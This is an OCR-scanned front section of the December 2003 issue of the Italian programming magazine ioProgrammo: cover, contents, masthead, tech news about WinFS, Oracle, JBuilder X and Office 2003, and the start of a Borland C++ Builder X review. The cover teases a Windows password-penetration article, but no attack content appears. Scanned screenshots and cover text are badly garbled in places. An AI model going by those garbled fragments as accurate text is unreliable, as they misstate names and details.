UML DA ZERO
Guida al linguaggio più richiesto in azienda
VERSIONE PLUS
G | RIVISTA+LIBRO+CD €8,90
INIZIA IL CORSO
RIVISTA+CD €630
Periodicità mensile • DICEMBRE 2003 • ANNO VII, N.11 (75)
Poste Italiane • Spedizione in a.p. - 45% • art. 2 comma 20/b legge 662/96 - AUT. N. DCDC/033/01/CS/CAL
R0GRAMM0
Scripting
L'APPLICAZIONE
CAMBIA AL VOLO
Una guida per modificare a run-time
i tuoi progetti in Visual Basic
^Cambiare
l'interfaccia
^Modificare
la logica
fitreare macro
come in Office
I
X LO
Oì o
= 5
= S
co co™
!
I 771128 ll 594641 11
^- ^^^s
co ■
gin
E D 1 Z 1 O l\
i ^
R
1
MASTE
www.edmastei
Password KO
Gli strumenti e le tecniche
per penetrare nei sistemi Windows
SCHEDULIMG DATABASE XML
ll\l JAVA NATIVI
La semplicità dei Thread II futuro dei DBMS: una guida
per gestire le attività agli strumenti già disponibili
MULTIMEDIA
Realizziamo
un DVD player
OpenGL: grafica 3D
professionale nelle
nostre applicazioni
Registrare suoni in Java
SISTEMA
La gestione delle date
in VB.NET
RETE
Un'applicazione VB
che controlla il traffico
di rete
ELETTRONICA
Pilotare una mano
meccanica col Joystick
CORSI
C#: enumerazione
e struttura
Java: la creazione
di un oggetto
VB: la tastiera
senza segreti
AVANZATO
Simulazione
dei sistemi fisici
IL DIALOGO FRA FLASH MX, PHP E MySQL fi 1
;J^
CONTENTS T H Questo mese su ioProgrammo
Anno VII - n. 11 (75) Dicembre 2003
T PDC 2003 - il futuro secondo Gates
Los Angeles - 27 ottobre 2003. Bill Gates ha fatto da anfitrione alla PDC e ha
presentato quello che sarà il futuro secondo Microsoft. ioProgrammo era lì
per voi e, nel prossimo numero, troverete un ampio resoconto di quanto è
successo e quanto è stato pre-visto. Longhorn, con la relativa piattaforma di
sviluppo, si è finalmente svelato e sinceri sono stati lo stupore per la quantità
e la qualità dei progressi fatti da Microsoft, prima di tutto per gli sviluppatori.
Il nuovo modello di API WinFX estende le virtù della piattaforma .NET e con-
sente di pilotare con grande eleganza la potenza di Longhorn. All'interno di
WinFX, ci hanno particolarmente entusiasmato i sottosistemi Indigo e
WinFS. Il primo è la creatura prediletta di quel geniaccio di Don Box e rapp-
resenta il passo definitivo di Microsoft verso la programmazione Service
Oriented: sviluppato per .NET, Indigo sarà parte integrante di Longhorn, e
utilizzabile anche su sistemi XP e Windows Server 2003. Indigo fornisce una
infrastruttura stabile e affidabile per la programmazione distribuita basata
Web Services: un'API elegante e semplice, sarà una vera delizia utilizzarla.
WinFS, dal canto suo, rappresenta una vera rivoluzione per i File System: si
pone come interfaccia verso tutti i dati immagazzinati e sostituisce al con-
cetto di file, quello di item (un'informazione generica correlata ad altri item).
La gestione e la ricerca nel File System si gioverà dunque di tutta la velocità e
la semplicità garantita dai DBMS, con in più la flessibilità garantita da un
massiccio uso di XML per la definizione degli item e delle loro relazioni.
WinFS è anche un insieme di API che permette alle applicazioni una inter-
azione oserei dire "intima" con il sistema operativo. E cosa dire di Avalon, la
piattaforma per l'interfaccia delle nuove applicazioni client. . . beh, mi
prudono le mani, ma dobbiamo avere pazienza ed aspettare il prossimo
mese.
ES. Navigando, mi sono imbattuto in una massima di Charles Mingus che
mi ha ricordato perché mi piace fare questo mestiere: rendere complicato ciò
che è semplice è banale; rendere semplice,
incredibilmente semplice, ciò che è compli-
cato, ecco, questa è creatività.
raffaele@edmaster. it
News
6
Software sul CD-Rom
12
Soluzioni
22
► Simulazioni per sistemi di particelle
Teoria & Tecnica
26
Mezza Password? Protezione a metà!
Importare documenti XML con C# (2 a parte)
Uno sguardo ai DB XML nativi
Creare effetti speciali 3D con C++ e OpenGL
Scheduling in Java
Tips&Tricks
Elettronica
Muoviamo il robot con il Joystick
Sistema
Applicazioni VB6 scripting addicted
Realizzare un audio recorder
Le Network API in Visual Basic (2 a parte)
I corsi di ioProgrammo
Li CD G WEB
nome_file.zip
1%
ir 71,1 " ■■"
Flash MX e PHP
Un lettore DVD realizzato in C++
La programmazione dei SONYAIBO (2 a parte)
Sito del mese
All'inizio di ogni articolo, troverete un nuovo simbolo che indicherà la presenza di
codice e/o software allegato, che saranno presenti sia sul CD (nella posizione di sempre
\soft\codice\ e \soft\tools\) sia sul Web, all'indirizzo http://cdrom.ioprogrammo.it.
Per scaricare software e codice da Internet, ogni mese indicheremo una password
differente. Per il numero che avete fra le mani la combinazione è:
Username: kubrick
Password: f idelio
Algoritmi per "il giro di cavallo" (2 a parte)
j(M
26
33
40
45
50
_53
60
► UML • UML e i casi d'uso
►• Java • Costruire. . . cose. . . classi, oggetti e campi
► VB.NET • La gestione delle date
► C# • Strutture ed enumerazioni
► C++ • Standard Template Library: i contenitori
► MATLAB • Mostrare i risultati
► VB • Un "acceleratore" di tastiere in VB
Advanced Edition
66
66
73
78
83
83
88
92
97
100
104
108
112
112
117
121
125
InBox
127
Biblioteca
128
L'enigma di ioProgrammo
129
ROGRAMMO
Anno VII -N.ro 11 (75) - Dicembre 2003 - Periodicità: Mensile
Reg. Trib. di CS al n.ro 593 del 11 Febbraio 1997
Cod.ISSN1128-594X
E-mail: ioprogramino@edniaster.it
http://www.edmaster.it/ioprogrammo
http: / / www.ioprogrammo.it
Direttore Editoriale Massimo Sesti
Direttore Responsabile Romina Sesti
Responsabile Editoriale Gianmarco Bruni
Responsabile Marketing Antonio Meduri
Editor Gianfranco Forlino
Coordinamento redazionale Raffaele del Monaco
Redazione Antonio Pasqua, Thomas Zaffino
Collaboratori M. Autiero, M. Canducci, M. Era, E. Florio, M. Del Gobbo,
E Grimaldi, F Lippo, D. Magoga, A. Marroccelli, S. Leone Monili,
G. Naccarato, C. Pelliccia, P Perrotta, S. Pierazzini, M. Pizzola, E Sara,
L. Spuntoni, E Vaccaro, D. Vesicchio, V Vessia
Segreteria di Redazione Veronica Longo
Realizzazione grafica Cromatika S.r.l.
Responsabile grafico: Paolo Cristiano
Coordinamento tecnico: Giancarlo Sicilia
Impaginazione elettronica: Aurelio Monaco
"Rispettare l'uomo e l'ambiente in cui esso vive e lavora è una parte di tutto ciò
che facciamo e di ogni decisione che prendiamo per assicurare che le nostre
operazioni siano basate sul continuo miglioramento delle perior
ambientali e sulla prevenzione dell'inquinamento"
153
^ J Certificato UNI EN ISO 14001
ecc ^S^ N - 9191 CRMT
Realizzazione Multimediale SET S.r.l.
Coordinamento Tecnico Piero Mannelli
Realizzazione CD-Rom Paolo Iacona
Pubblicità Master Advertising s.r.l.
Via Cesare Correnti, 1 - 20123 Milano
Tel. 02 831212 - Fax 02 83121207
e-mail advertising@edmaster.it
Rete Vendita Serenella Scarpa, Cornelio Morati, Roberto Piano, John F
Alborante
Segreteria Ufficio Vendite Daìsy Zonato
Editore Edizioni Master S.r.l.
Sede di Milano: Vìa Cesare Correnti, 1 - 20123 Milano
Tel. 02 831212 - Fax 02 83121206
Sede di Rende: C.da Lecco, zona industriale - 87036 Rende (CS)
Amministratore Unico: Massimo Sesti
Abbonamento e arretrati
ITALIA: Abbonamento Annuale: ioProgrammo Basic(ll numeri): € 37,90
sconto 50% sul prezzo di copertina € 75,90.
ioProgrammo Plus (11 numeri + 6 libri): €61,90 sconto 50% sul prezzo di
copertina €123,90.
ESTERO: Abbonamento Annuale: ioProgrammo Basic (11 numeri):
€ 151,80. IoProgrammo Plus (11 numeri + 6 libri): €257,00
Costo arretrati (a copia) : il doppio del prezzo di copertina + € 5.32 spese
(spedizione con corriere) . Prima di inviare i pagamenti, verificare la
disponibilità delle copie arretrate allo 02 831212.
La richiesta contenente ìVs. dati anagrafici e il nome della rivista, dovrà
essere inviata via fax allo 02 83121206, oppure via posta a EDIZIONI MAS-
TER via Cesare Correnti, 1 - 20123 Milano, dopo avere effettuato il paga-
mento, secondo le modalità di seguito elencate:
• cc/p n.16821878 o vaglia postale (inviando copia della ricevuta del versa-
mento insieme alla richiesta);
• assegno bancario non trasferibile (da inviarsi in busta chiusa insieme alla
richiesta);
• carta di credito, circuito VISA, CARTASI', MASTERCARD /EUROCARD,
(inviando la Vs. autorizzazione, il numero della carta, la data di scadenza e
laVs. sottoscrizione insieme alla richiesta).
• bonifico bancario intestato a Edizioni Master S.r.l. c/o Banca Credem
S.p.a. c/c 5000 ABI 03032 CAB 80880 (inviando copia della distinta insieme
alla richiesta).
SI PREGA DI UTILIZZARE IL MODULO RICHIESTA ABBONAMENTO POSTO
NELLE PAGINE INTERNE DELLA RMSTA. L'abbonamento verrà attivato sul
primo numero utile, successivo alla data della richiesta.
Sostituzioni: Inviare il CD-Rom difettoso in busta chiusa a:
Edizioni Master Servizio Clienti -Via Cesari Correnti, 1 -20123 Milano
Assistenza tecnica: ioprogrammo@edmaster.it
Servizio Abbonati:
Btel.02 831212
! e-mail: servizioabbonati@edmaster.it
Stampa: Rotoeife Via Variante di Cancelleria, 2/6 -Ariccia (Roma)
Stampa CD-Rom: Deluxe Italy S.r.l. - via Rossini, 4 - Tribiano (MI)
Distributore esclusivo per l'Italia: Parrini & C S.p.A.
ViaVitorchiano, 81 - Roma
Finito di stampare nel mese dì Novembre 2003
Nessuna parte della rivista può essere in alcun modo riprodotta senza
autorizzazione scritta della Edizioni Master. Manoscritti e foto
originali, anche se non pubblicati, non si restituiscono. Edizioni Ma-
ster non sarà in alcun caso responsabile per i danni diretti e/o indiretti
derivanti dall'utilizzo dei programmi contenuti nel supporto multime-
diale allegato alla rivista e/o per eventuali anomalie degli stessi.
Nessuna responsabilità è, inoltre, assunta dalla Edizioni Master per
danni o altro derivanti da virus informatici non riconosciuti dagli
antivirus ufficiali all'atto della masterizzazione del supporto. Nomi e
marchi protetti sono citati senza indicare i relativi brevetti.
Sili
A.N.E.S.
*■
L'Universo Tecnologico
www. itportal.it
Edizioni Master edita:
Idea Web, GolOnLine Internet Magazine, Win Magazine, PC Firn extreme,
Quale Computer, DVD Magazine, Office Magazine, La mia Barca,
ioProgrammo, Linux Magazine, Softline Software World, HC Guida
all'Home Cinema, <tag/>, MPC, Discovery DVD, Computer Games Gold,
inDVD, I Fantastici CD-Rom, PC VideoGuide, I Corsi di Win Magazine,
I Filmissimi in DVD, La mia videoteca, Le CoUection.
NEWS T
WiniFS
LA MUOVA
TECNOLOGIA
PER LA
GESTIONE DEL
FILE-SYSTEM
Il nuovo file -system, che farà
la sua comparsa nella pros-
sima versione di Windows, no-
me in codice Longhorn, sarà
rappresentato da una nuova
versione di NTFS. L'obiettivo
sarà quello di fornire agli utenti
un mezzo più veloce e potente
per cercare e organizzare file e
dati, indipendentemente da
dove questi risiedano. WinFS
convoglierà, in un'unica strut-
tura, l'archiviazione divari dati,
anche se eterogenei, (relazio-
nali, non relazionali e multi-
mediali); un servizio integrato
con l'interfaccia utente e in
grado di unificare in una singola
vista vari tipi di dati, come con-
tatti, documenti, e-mail, foto,
filmati, pagine Web e URL, or-
dinandoli in cartelle, o "stack",
in base a determinati criteri e
indipendentemente da dove
risiedano i file, cartella, disco o
unità di rete.
www. microsoft, com
IL SOFTWARE
MACROMEDIA
GIRA SU LINUX
CodeWeavers, una
società specializzata
nel rendere le applicazioni
Windows disponibili per
Linux, ha annunciato una
nuova versione del suo
software. Tra le novità più
interessanti, c'è il supporto
per i tool di sviluppo per il
Web di Macromedia: Flash
e Dreamweaver. Tra le altre
applicazioni supportate
sono da segnalare Microsoft
Office XP e Adobe
Photoshop. Il software
proposto da CodeWeavers
si basa su Wine, un sistema
per l'emulazione Windows
Open Source.
www. code wea vers. com
[JH5S WUOVE
FUNZIONALITÀ
PER ORACLE
CRAY PREPARA
UNA MUOVA
LINEA BASATA
SU OPTERON
ray ha dato piena fiducia
alla nuva linea di proces-
sori Opteron della AMD che
sarano la base della nuova li-
nea di supercomputer. Nel
2004 Cray avrà in produzione
computer la cui dotazione po-
trà variare dai 64 fino ad oltre
10.000 processori Opteron in
paradello. I sistemi così co-
struiti si avvantageranno di un
tipo di interconnessione svi-
luppato appositamente da
Cray per garantire la grande
banda passante necessaria al
funzionamento interno di
queste macchine. Ovviamente,
i computer prodotti da Cray
non sono esattamente per tut-
te le tasche: i clienti tipici sono
centri di ricerca, enti gover-
nativi e grandi aziende impe-
gnate. Interessante notare che
il sistema operativo scelto per
queste macchine è il SuSE Li-
nux' Enterprise Server. Tra i
motivi che hanno fatto cadere
la scelta sui processori Opte-
ron, c'è la possibilità di far gia-
rare sia codice a 64 bit che a
32 bit.
www. cray. com
IBM A CACCIA
DI ERRORI
a IBM ha rilasciato un tool
.che consente alle aziende di
ispezionare il codice a caccia di
problemi, sia durante lo svi-
luppo, sia una volta che l'ap-
plicazione è stata
implementata. Il tool,
chiamato J2EE Code Validator,
può analizzare il codice ed
intercettare i più comuni errori
commessi nelle applicazioni
Java. E' stato sviluppato per
affiancare altri tool di
debgging che in genere si oc-
cupano di rilevare i problemi
sintattici presenti nel codice.
J2EE Code Validator può veri-
ficare che un'applicazione sia
conforme ad una serie di pat-
tern predefiniti, o regole, che
hanno dimostrato di garantire
un'alta qualità del codice.
www.ibm.com
Oracle ha annunciato
la certificazione di
Oracle Database su Red
Hat Enterprise Linux 3 e
la disponibilità dell'assi-
stenza tecnica per i pro-
dotti Oracle sulla piatta-
forma Red Hat.
Red Hat e Oracle hanno
collaborato per definire le
funzioni e i miglioramenti
da introdurre in Red Hat
Enterprise Linux 3 al fine
di garantire livelli mag-
giori di scalabilità, presta-
zioni e facilità di gestione
degli ambienti Oracle.
Red Hat Enterprise Linux
3 ha introdotto inoltre più
di 50 nuove funzioni spe-
cifiche per l'ottimizzazio-
ne degli ambienti Oracle e
Linux.
"Oracle ha dimostrato un
forte impegno nei con-
fronti della piattaforma
Linux, stabilendo con la
nostra società una part-
nership strategica finaliz-
zata alla definizione con-
giunta di nuove funziona-
lità per migliorare le im-
plementazioni Oracle"
ha dichiarato Brian Ste-
UN AIUTI-VIRUS
PER DISPOSITIVI
DI COMUNICAZIONE
MOBILE
NTT DoCoMo e Net-
work Associates han-
no annunciato di aver svi-
luppato congiuntamente
un componente tecnologi-
co fondamentale per un
motore anti-virus compat-
to, basato sulla tecnologia
di sicurezza McAfee di
Network Associates, per
Homepage di Network Associated.
»> 6/Dicembre 2003
http://www.ioprogrammo.it
NEWS T
ORACLE
fl PRODUCTS M SOLUTIONS M SERVICES ff
METALINK BUY DOWNLOAD CONTACT US
[ SEARCH SELECT COUNTRY
T3
TECHNOLOGIES
GetOnTheGrid
Oraste Database : 5et the World's Most
Popular Database for Less Than
USÌ1QQ0 ►
Oracle Application Server Ifljg
Advanced Middleware for Automating
iraur Business »
Oracle Identity Management : Reduce the
Cost of Managing User Securitv i
MOKH &K1J-
Business Intelligence
Anahfsìs : Set i Free Business
Intelligence Benefits Assessment *
Performance Management : Ftegain
Control of Your Business «
MORE BUSINESS INTELLIGENCE *
Sarbanes-Oxley
I
Improve Comprate Governance : Gel a
Better Vieni luto Your Enterprise »
MORE SARBANES-OXLEY >
Products □ Solutions
n Services □ Technologies n Oracle
| Select Industry TJ Oufccureing Giid Casiom a. Succ
Se^rity
3 2003, Oracle Coi
r-.:-i.rt Ots.:.!> ■■.■>.;■> i.is
vens, Vice President, Ope-
rating System Develop-
ment di Red Hat.
"7 clienti che utilizzano le
soluzioni Oracle su Red
Hat Enterprise Linux 3 be-
neficeranno quindi di ot-
time prestazioni, affidabi-
lità e scalabilità, un risul-
tato impossibile da otte-
nere con gli ambienti Unix
proprietari".
www. oracle. com
proteggere i futuri servizi
di comunicazione mobile.
Le due aziende hanno ini-
ziato a collaborare per svi-
luppare una tecnologia di
scansione per contenuti
multimediali, come per
esempio la posta elettroni-
ca, a partire da maggio
dello scorso anno. Net-
work Associates ed NTT
DoCoMo continueranno
la collaborazione al fine di
offrire, entro la seconda
metà del 2004, un engine
anti-virus compatto, in-
corporando tecnologie spe-
cifiche nei dispositivi di
comunicazione mobile di
NTT DoCoMo. Inoltre, va-
luteranno insieme la pos-
sibilità di offrire la tecno-
logia congiunta ad organi-
smi di standardizzazione
internazionali, continuan-
do allo stesso tempo a ri-
cercare e sviluppare solu-
zioni per proteggere e mi-
gliorare i futuri servizi di
comunicazione mobile.
www.nai.com
uni muovo
TOOL PER GLI
SVILUPPATORI
DI WEB
SERVICES SU
AmberPoint ha rilascia-
to un nuovo tool per
gestire e monitorare Web
Services all'interno di Vi-
sual Studio.
AmberPoint Express con-
sente il controllo delle pre-
stazioni, il monitoraggio
dei logging ed il test dei
servizi esposti. Gli svilup-
patori possono così con-
trollare sia le prestazioni
che la robustezza dei servi-
zi che creano.
La gestione dei Web Servi-
ces è considerata una delle
prime barriere alla diffu-
sione degli stessi: questo
tool può mitigare forte-
mente il problema, soprat-
tutto in relazione alla misu-
ra dell'efficienza dei servizi
che si costruiscono.
www.amberpoint.com
FILEMAKER SI INTEGRA
CON IL MUOVO
MICROSOFT OFFICE 2003
FileMaker Pro 6 offre da oggi caratteristiche che per-
mettono un facile interscambio di dati con Microsoft
Word 2003 ed Excel 2003. Grazie al supporto XML, che
consente agli sviluppatori di integrare in modo fluido
dati provenienti da diverse applicazioni, FileMaker Pro
moltiplica il valore dei dati rendendoli accessibili nel
formato e nell'applicazione che risulti migliore per l'u-
tente. Per rendere ancora più facile l'integrazione di da-
ti in XML, FileMaker offre un'ampia varietà di fogli XSLT
che si possono scaricare direttamente dalla Libreria File-
Maker all'indirizzo web www.filemaker.com/xml/xslt_
library.html e che consentono di esportare i dati diret-
tamente in file XML di Excel e Word. "Con l'aggiunta
del supporto XML a FileMaker Pro 6, gli sviluppatori e
gli utenti di alto livello possono creare soluzioni in gra-
do di connettere interi workgroup e singoli utenti con
un numero virtualmente illimitato di altre applicazio-
ni", ha commentato Ronald Schmelzer, Senior Analyst
di ZapThink, società di ricerche di mercato focalizzata
esclusivamente sul supporto XML e sui servizi web.
"Facendo leva sul supporto XML fin dalla sua introdu-
zione, FileMaker Pro 6 ha fatto dell'integrazione di im-
port ed export XML una parte stabile dell'applicazio-
ne". Per chi utilizza tutti i giorni Excel, FileMaker Pro 6
dispone anche di una comoda funzione di conversione
drag-and-drop. I fogli di lavoro Microsoft Excel possono
infatti essere convertiti in database FileMaker con
grande semplicità, trascinando i fogli di calcolo su un'i-
cona FileMaker.
Convertendo i dati Excel in un database, l'utente può
effettuare ricerche, pubblicare sul web, importare e sti-
vare immagini e file audio, stampare report ed effet-
tuare numerose altre operazioni.
www.ibm.com
FileMaker and Excel:
The perfect couple.
f> Find out how to get the most out
of y-Dur spreadsheet.
iP"
MensRelaxed Jeans
H
Announcements
Customer Solutions
Q Complete your Microsoft Office
System 2003 with FileMaker 6.
o Download a free FileMaker Pro 6
trial.
Q Discover 4 vuays to get starteli
usino FileMaker today.
*■"% Subscribe to
FileMaker
K 12
manage admissions.
Higher Education
: ■ ■ ■.: ■■ ■■■-.■.■.:,
fundraising, and more.
Government
Improve seivices and reduce
a dm ini strati ve overhesd.
Non Profrt
.■■■;■■■ .:....■■■:.,■
and voluriteers.
Special Offers Q3
5 -User Starter Pack
Big savings in
a little pack
http://www.ioprogrammo.it
Dicembre 2003/7 ►
NEWS T
COMPRA
eHelp
on un esborso di 65
milioni di dollari,
Macromedia si appresta ad
acquistare eHelp,
estendendo il suo impero
nel campo della grafica per
il Web.
Due i prodotti di punta di
questa software house:
RoboHelp, un tool per il
Web authoring, e
RoboDemo, un software
per la creazioni di
presentazioni basato su
Flash.
Lo scopo dichiarato di Ma-
cromedia è quello di
integrare ed ampliare la
sua offerta di authoring
tool, andando ad
affiancare prodotti come
Breeze nel campo della
creazione di applicazioni
per l'e-learning, l'help
desk, i software di
simulazion ed i tutorial
interattivi.
www. macromedia. com
Al MASTRI DI PARTENZA
BORLAND JBUILDER X
Borland anuncia il lancio di JBuilder X, la
più recente versione dell'ambiente di
sviluppo integrato (IDE) cross-platform per
Java. JBuilder X è la più importante release
del prodotto da oltre due anni e offre oltre
100 nuove funzioni destinate ad aumentare
la produttività di team aziendali, sviluppa-
tori corporate e sviluppatori Java code-cen-
tric. Le nuove funzionalità del prodotto so-
no focalizzate su facilità d'uso e produtti-
vità, sviluppo di applicazioni Web, Web ser-
vice ed EJB, nonché deployment J2EE. Di se-
guito la nota stampa diffusa dalla stessa
Borland:
"JBuilder X semplifica l'IDE Java della pros-
sima generazione. Siamo entrati in contatto
con migliaia di utenti JBuilder e abbiamo
esaminato centinaia di segnalazioni per es-
sere sicuri di soddisfare le esigenze degli svi-
luppatori Java", ha dichiarato George
Paolini, Vicepresidente e Direttore Generale
Java Solutions di Borland. "Una delle richie-
ste più ricorrenti che abbiamo soddisfatto
riguarda il miglioramento della capacità di
personalizzazione. In precedenza era un se-
greto ben custodito da Borland, ma oggi
possiamo rivelare di aver esteso la nostra
API OpenTools, pubblicata per la prima vol-
ta nel 1998. Questo ci consente di continua-
re a supportare l'ecosistema su cui poggia
JBuilder e, contestualmente, offrire ai clien-
ti ulteriori funzionalità".
www.borland.it
Borland
ITALIA
OEnum I -sincechanging «Seminari gratuHJ,
BarMCinfutnttll to borland..."
Amsterdam, Nelterlaidst Sc™s mc^uG^f ™ ER Da settembre;! t
10-12 novemtoe.2003 «„,,,„„.,., amleritl 11 svlllpp»'
RigrttnMM F' ..ii sili del vostro software
IBM LANCIA UN
TOOLKIT PER MPEG -4
Un set di classi Java ed un API che consen-
tono l'interazione con dispositivi MPEG-
4. Collegandosi al sito della IBM è possibile
scaricare un pacchetto contenente anche al-
cune applicazioni cross-platform che dimo-
strano, più di tante parole, le possibilità of-
ferte da questa tecnologia:
• AVgen: una semplice GUI per la creazio-
ne di contenuti audio-video per dispositi-
vi compatibili con gli standard ISMA o
3GPP
• XMTBatch: un tool per la creazione di
contenuti MPEG-4 interattivi
• M4Play: un client MPEG-4 che consente
di visualizzare contenuti MPEG-4 nelle ap-
plicazioni
• M4Applet for ISMA: un applet Java che
può visualizzare qualsiasi contenuto
ISMA
• M4Appet for HTTP: un applet Java che
permette di visualizzare contenuti MPEG-
4 distribuiti via HTTP.
Grazie al fatto che l'intero toolkit è Javav-ba-
sed, sia le applicazioni client, sia le applica-
zioni di creazione di contenuti possono gira-
re su qualsiasi piattaforma.
www.ibm.com/developerworks
| Technology zones developerWorks™
Delivering on dem:
i. ani enviuiiirent. i Grid computing)
WINDOWS
XP SP2,
SMENTITA
SUL RILASCIO
Richard Kaplan, vicepre-
sidente del settore con-
tenuti e ricerca di Microsoft,
in occasione del citriX
iForum, aveva annunciato il
rilascio del SP2 di Windows
XP entro la fine del 2003.
Microsoft, in un comunica-
to ha affermato che que-
st'anno sarà disponibile so-
lo una versione beta del Ser-
vice Pack, smentendo, di
fatto, quanto annunciato da
Kaplan; secondo il comuni-
cato di Microsoft, il rilascio
della versione completa,
non avverrà prima della
metà del 2004. La società ha
affermato che il ciclo di svi-
luppo della soluzione è in
una fase ancora troppo ini-
ziale per fornire un calenda-
rio più preciso per il rilascio.
,> 8/Dicembre 2003
http://www.ioprogrammo.it
NEWS T
SONY
ATTACCA
CON IL
LASER BLU
La compagnia nipponica si
appresta a lanciare sul mercato
una nuova tecnologia di
storaging, basata su laser a luce
blu, e capace di immagazzinare
23.3 GB su un singolo supporto.
Il nome scelto per questa
tecnologia è Professional Disc for
Data (PDD).
I dischi saranno fissati all'interno
di cartucce protettive e, al posto
della luce rossa utilizzata in altri
dispositivi ottici (CD, DVD, ecc.),
PDD utilizza un laser a luce blu,
capace di focalizzare un'area più
piccola della superficie,
aumentando la densità di dati e
dunque la capacità del dispositivo.
Sony offrirà un drive (BW-F101)
capace di utilizzare sia dischi PDD
registrabili che re-writeable.
I PDD-R costeranno 45$, mentre i
PDD-RW saranno in vendita a $50,
il prezzo del BWF101 sarà di
$3300.
Sony ha già pianificato una
seconda generazione che porterà
la capacità delle unità oltre e 50
GB entro il 2005.
La terza generazione arriverà a
100GB con un throughput di
36MBps, ma per questa bisognerà
aspettare ancora parecchio.
www.sony.com
OFFICE 2003:
L'INTEGRAZIONE
È XML
Il Museo Nazionale della Scienza e del-
la Tecnica di Milano è stato la sede
scelta da Microsoft per la presentazione
italiana, in contemporanea con resto
del mondo, della nuova versione della
suite Office, denominata semplicemen-
te Office 2003. Un prodotto su cui
Microsoft ha investito molto e in cui cre-
de fortemente, come dimostrato dalla
partecipazione di Bill Gates che, in colle-
gamento via satellite dalla sede della
presentazione americana, ha spiegato la
filosofia e le caratteristiche principali di
Office 2003. Le parole d'ordine del nuo-
vo Office sono collaborazione e produt-
tività, e sono proprio le nuove possibilità
in termini di condivisione dei documen-
ti e scambio delle informazioni che do-
vrebbero ottimizzare la vita negli uffici a
chi utilizza la suite Microsoft. Profon-
damente ottimizzato l'utilizzo di Out-
look, l'applicazione in assoluto più uti-
lizzata in ambito lavorativo, resa più fles-
sibile e integrata con gli altri applicativi
del pacchetto, per ridurre i tempi di con-
sultazione delle e-mail e facilitare l'indi-
viduazione dei messaggi. Un altro punto
fondamentale riguarda la condivisione
dei documenti tra più utenti, per con-
sentire a più persone all'interno di un uf-
ficio di lavorare contemporaneamente
su un documento con la sicurezza di di-
sporre sempre della versione più recente
e aggiornata dello stesso. In un mondo
in cui la condivisione del-
le risorse e dei file è ormai
una consuetudine, l'altro
aspetto determinante è la
sicurezza, aumentata nel
nuovo Office 2003 e mi-
gliorata nella gestione dei
privilegi d'accesso e di
modifica dei contenuti. Il
sistema adottato è basato
sul cosiddetto Informa-
tion Right Management
(IRM), orientato princi-
palmente ad un'utenza
aziendale, garantisce che
le informazioni che si vogliono condivi-
dere siano lette solo dai legittimi desti-
natari. Alla base della nuova suite di di
produttività di Microsoft c'è un diffuso
utilizzo di XML che rende i documenti
prodotti più facilmente condivisibili e
aggiornabili, sia all'interno di una rete
aziendale sia attraverso Internet. Mi-
crosoft è intenzionata ad utilizzare Offi-
ce 2003 anche per spingere il passaggio a
.Net degli sviluppatori più riluttanti,
quelle affezionati aVBA. Benché sia pre-
servata la compatibilità verso VBA, lo
strumento più indicato a programmare
la nuova suite di Microsoft è Visual
Studio Tools for Office. La semplice con-
versione delle vecchie applicazioni VBA
in .Net, oltre a fornire tangibili benefici
agli svOuppatrori, si presenta dunque
come una importante occasione per fa-
cilitare il passaggio alla piattaforma di
sviluppo Microsoft.
Office 2003 è disponibile in tre versioni:
• Standard, costituita essenzialmente
da Word, Excel, Outlook e Power-
Point (600 euro)
• Snall Business, che aggiunge alla
Standard Publisher e Contact Mana-
ger (650 euro)
• Professional, la più completa che ri-
spetto alle precedenti include anche
Access (740 euro).
www. microsoft, com/italy
fio] MHacllr
, /jOffloeOnline
Home Page
Clip Art r.J elementi multi mediali
Informazioni sui prodotti
È disponibile Microsoft Office
System
^ _ Scoprite come Office
Oggi ìu Office Online
Clip aggiornati: Oroloqi
■ Create un diagrammi di Ganti con Visio
^jfl k7o^ F zì!."itrdiw3" mD
Utilizate icot.1 di formane per
KW coprire tutto su Word
■A ■ P™erpcinle a lb U n,diFo,
O,-,, y~,,:t *.,..:.
% % ^-.
^■HH Utilizzo di Visio
1 Creare diagrammi in Visio,
Microsoft Office
FrontPage
Outlook
Publisher
F-f— Scoprite Office Syslen.
-.- «| Nei seguenti articoli sono incluse
Src;ir,"e '"Uond 2903
■ Novità di Etcel 2003
■ Nuove caratteri sfit he di Outlook 3TO9
Word
tUPRtnOPLÙNO: WORC
Sili Web correlali
@ E " 9Ui ~ Cil<o5 in Wod Sr^™ Sr^ J Wod p "
Supporto prodotto
Office !,e: mondo #
Modelli
»> 10/Dicembre 2003
http://www.ioprogrammo.it
SOFTWARE SUL CD T I Applicazioni Cross-Platform
Una selezione dei migliori tool
di sviluppo proposta dalla redazione
di ioProgrammo
SULC
Borland C++ Builder X
Personal Edition
Il nuovo ambiente di programmazione C++ proposto da Borland
è la summa delle esperienze maturate con la serie di JBuilder.
Dopo anni in cui il C++ era stato un po'
trascurato da Borland, in favore di
linguaggi come Java e C#, ecco finalmente
un ambiente di sviluppo nuovo di zecca
per il principe dei linguaggi professionali.
Lo scopo del C++ Builder X è di abbraccia-
re tutto lo sviluppo, e non solo quello teso
alla realizzazione delle interfacce utente.
L'IDE porta con se le migliori caratteristi-
che dei suoi "cugini" nati per il mondo Java
e .NET: la possibilità di scegliere fra più
compilatori, l'organizzazione dei file di
progetto in documenti XML facilmente
manutenibili, la compatibilità con altri tool
Borland come Teamstudio, Caliber e
ammmwnmmìm
m»!"-*
'.™ "—,—!■—-—. —
5=1:
; -==—•■—
:
». [S5 Ihu'
Fig. 1: Al primo avvio, una pagina di
benvenuto ci introduce al nuovo ambiente.
Togheter. L'intero IDE di C++ Builder X è
distribuito come applicativo Java, potremo
dunque avviare la medesima interfaccia su
più piattaforme, ivi comprese Linux e
Solaris.
LA SCELTA
DEL COMPILATORE
La possibilità di cambiare il compilatore
Registered build tools;
Name
Toolset Cateaorv
D.escription
a „... |
BCC32
Jiifisìvs Win32 CompilerTooIs Compier
Borland C++ Cornpiler
ILINK32
Borland Win32 CompilerTooIs Linker
3orland Linker
1 ^'" 1
FJRCC32
CompilerTooIs Resource cornpiler
Borland Resource Cam...
Renrove |
FLiti
CompilerTooIs Li brarlan
Borland TLib
| |
ImpLiD
BorlandWln32 CompilerTooIs
Libra ri a n
Borland ImpLIO
GNU C++ Cornpiler
GNU C++ CompilerTooIs
Cornpiler
GNU C++ Coiìipiler.bas...
GNU C++ Linker
GNU C++ CompilerTooIs
Linker
GNU C++ Linker
GNU archive tool
GNU C++ CompilerTooIs
Librari a n
GNU archive tool
MlnGWGIMU C++ Cornpiler
Mlnimalist GNU For Windows Cornpiler
GNU C++ Cornpiler for ...
GNU C++ Linker
Mlnimalist GNU ForWIndows Linker
GNU C++ Linker
Dlltool (Import nps;
fìirijn-isiisl GNU For Windows Librarlan
Dlltool
